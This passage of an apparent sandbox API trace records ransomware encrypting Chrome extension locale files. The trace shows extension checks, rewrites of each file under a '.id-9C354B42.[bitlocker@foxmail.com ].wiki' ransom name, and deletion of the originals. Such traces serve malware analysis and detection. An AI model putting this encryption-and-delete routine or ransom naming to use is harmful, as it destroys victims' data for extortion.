Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json")) returned 1 [0174.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.210] lstrlenW (lpString=".doc") returned 4 [0174.210] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".docx") returned 5 [0174.211] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.211] lstrlenW (lpString=".pdf") returned 4 [0174.211] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".xls") returned 4 [0174.211] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".xlsx") returned 5 [0174.211] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.211] lstrlenW (lpString=".ppt") returned 4 [0174.211] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.211] lstrlenW (lpString=".zip") returned 4 [0174.211] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".rar") returned 4 [0174.211] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".bz2") returned 4 [0174.211] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.211] lstrlenW (lpString=".7z") returned 3 [0174.211] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.211] lstrlenW (lpString=".dbf") returned 4 [0174.211] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.211] lstrlenW (lpString=".1cd") returned 4 [0174.211] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.211] lstrlenW (lpString=".jpg") returned 4 [0174.211] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString=".doc") returned 4 [0174.212] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".docx") returned 5 [0174.212] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.212] lstrlenW (lpString=".pdf") returned 4 [0174.212] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".xls") returned 4 [0174.212] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".xlsx") returned 5 [0174.212] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.212] lstrlenW (lpString=".ppt") returned 4 [0174.212] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString=".zip") returned 4 [0174.212] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".rar") returned 4 [0174.212] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".bz2") returned 4 [0174.212] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.212] lstrlenW (lpString=".7z") returned 3 [0174.212] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString=".dbf") returned 4 [0174.212] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString=".1cd") returned 4 [0174.212] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 153 [0174.212] lstrlenW (lpString=".jpg") returned 4 [0174.212] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.213] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.213] lstrlenW (lpString="messages.json") returned 13 [0174.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.213] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.213] CloseHandle (hObject=0x1ac) returned 1 [0174.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json")) returned 0x2020 [0174.214] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.214] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.214] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.214] GetLastError () returned 0x0 [0174.214] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.215] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.216] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.216] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.216] SetEndOfFile (hFile=0x1b4) returned 1 [0174.217] CloseHandle (hObject=0x1b4) returned 1 [0174.217] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.217] SetEndOfFile (hFile=0x1ac) returned 1 [0174.219] CloseHandle (hObject=0x1ac) returned 1 [0174.219] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.220] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json")) returned 1 [0174.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.220] lstrlenW (lpString=".doc") returned 4 [0174.220] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.220] lstrlenW (lpString=".docx") returned 5 [0174.220] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.220] lstrlenW (lpString=".pdf") returned 4 [0174.220] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.220] lstrlenW (lpString=".xls") returned 4 [0174.220] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.220] lstrlenW (lpString=".xlsx") returned 5 [0174.220] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.220] lstrlenW (lpString=".ppt") returned 4 [0174.220] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.220] lstrlenW (lpString=".zip") returned 4 [0174.220] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.220] lstrlenW (lpString=".rar") returned 4 [0174.487] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.487] lstrlenW (lpString=".bz2") returned 4 [0174.487] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.487] lstrlenW (lpString=".7z") returned 3 [0174.487] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.487] lstrlenW (lpString=".dbf") returned 4 [0174.487] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.487] lstrlenW (lpString=".1cd") returned 4 [0174.487] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.487] lstrlenW (lpString=".jpg") returned 4 [0174.487] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.487] lstrlenW (lpString=".doc") returned 4 [0174.487] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.487] lstrlenW (lpString=".docx") returned 5 [0174.488] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.488] lstrlenW (lpString=".pdf") returned 4 [0174.488] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.488] lstrlenW (lpString=".xls") returned 4 [0174.488] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.488] lstrlenW (lpString=".xlsx") returned 5 [0174.488] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.488] lstrlenW (lpString=".ppt") returned 4 [0174.488] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.488] lstrlenW (lpString=".zip") returned 4 [0174.488] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.488] lstrlenW (lpString=".rar") returned 4 [0174.488] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.488] lstrlenW (lpString=".bz2") returned 4 [0174.488] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.488] lstrlenW (lpString=".7z") returned 3 [0174.488] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.488] lstrlenW (lpString=".dbf") returned 4 [0174.488] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.488] lstrlenW (lpString=".1cd") returned 4 [0174.488] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 153 [0174.488] lstrlenW (lpString=".jpg") returned 4 [0174.488] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.489] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.489] lstrlenW (lpString="messages.json") returned 13 [0174.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.489] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.489] CloseHandle (hObject=0x124) returned 1 [0174.489] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json")) returned 0x2020 [0174.489] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.490] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.490] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.490] GetLastError () returned 0x0 [0174.490] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.491] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.492] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.492] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.492] SetEndOfFile (hFile=0x1b4) returned 1 [0174.492] CloseHandle (hObject=0x1b4) returned 1 [0174.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.493] SetEndOfFile (hFile=0x124) returned 1 [0174.493] CloseHandle (hObject=0x124) returned 1 [0174.493] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.494] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json")) returned 1 [0174.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.494] lstrlenW (lpString=".doc") returned 4 [0174.494] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".docx") returned 5 [0174.494] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.494] lstrlenW (lpString=".pdf") returned 4 [0174.494] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".xls") returned 4 [0174.494] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".xlsx") returned 5 [0174.494] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.494] lstrlenW (lpString=".ppt") returned 4 [0174.494] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.494] lstrlenW (lpString=".zip") returned 4 [0174.494] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".rar") returned 4 [0174.494] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".bz2") returned 4 [0174.494] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.494] lstrlenW (lpString=".7z") returned 3 [0174.494] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString=".dbf") returned 4 [0174.495] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString=".1cd") returned 4 [0174.495] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString=".jpg") returned 4 [0174.495] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 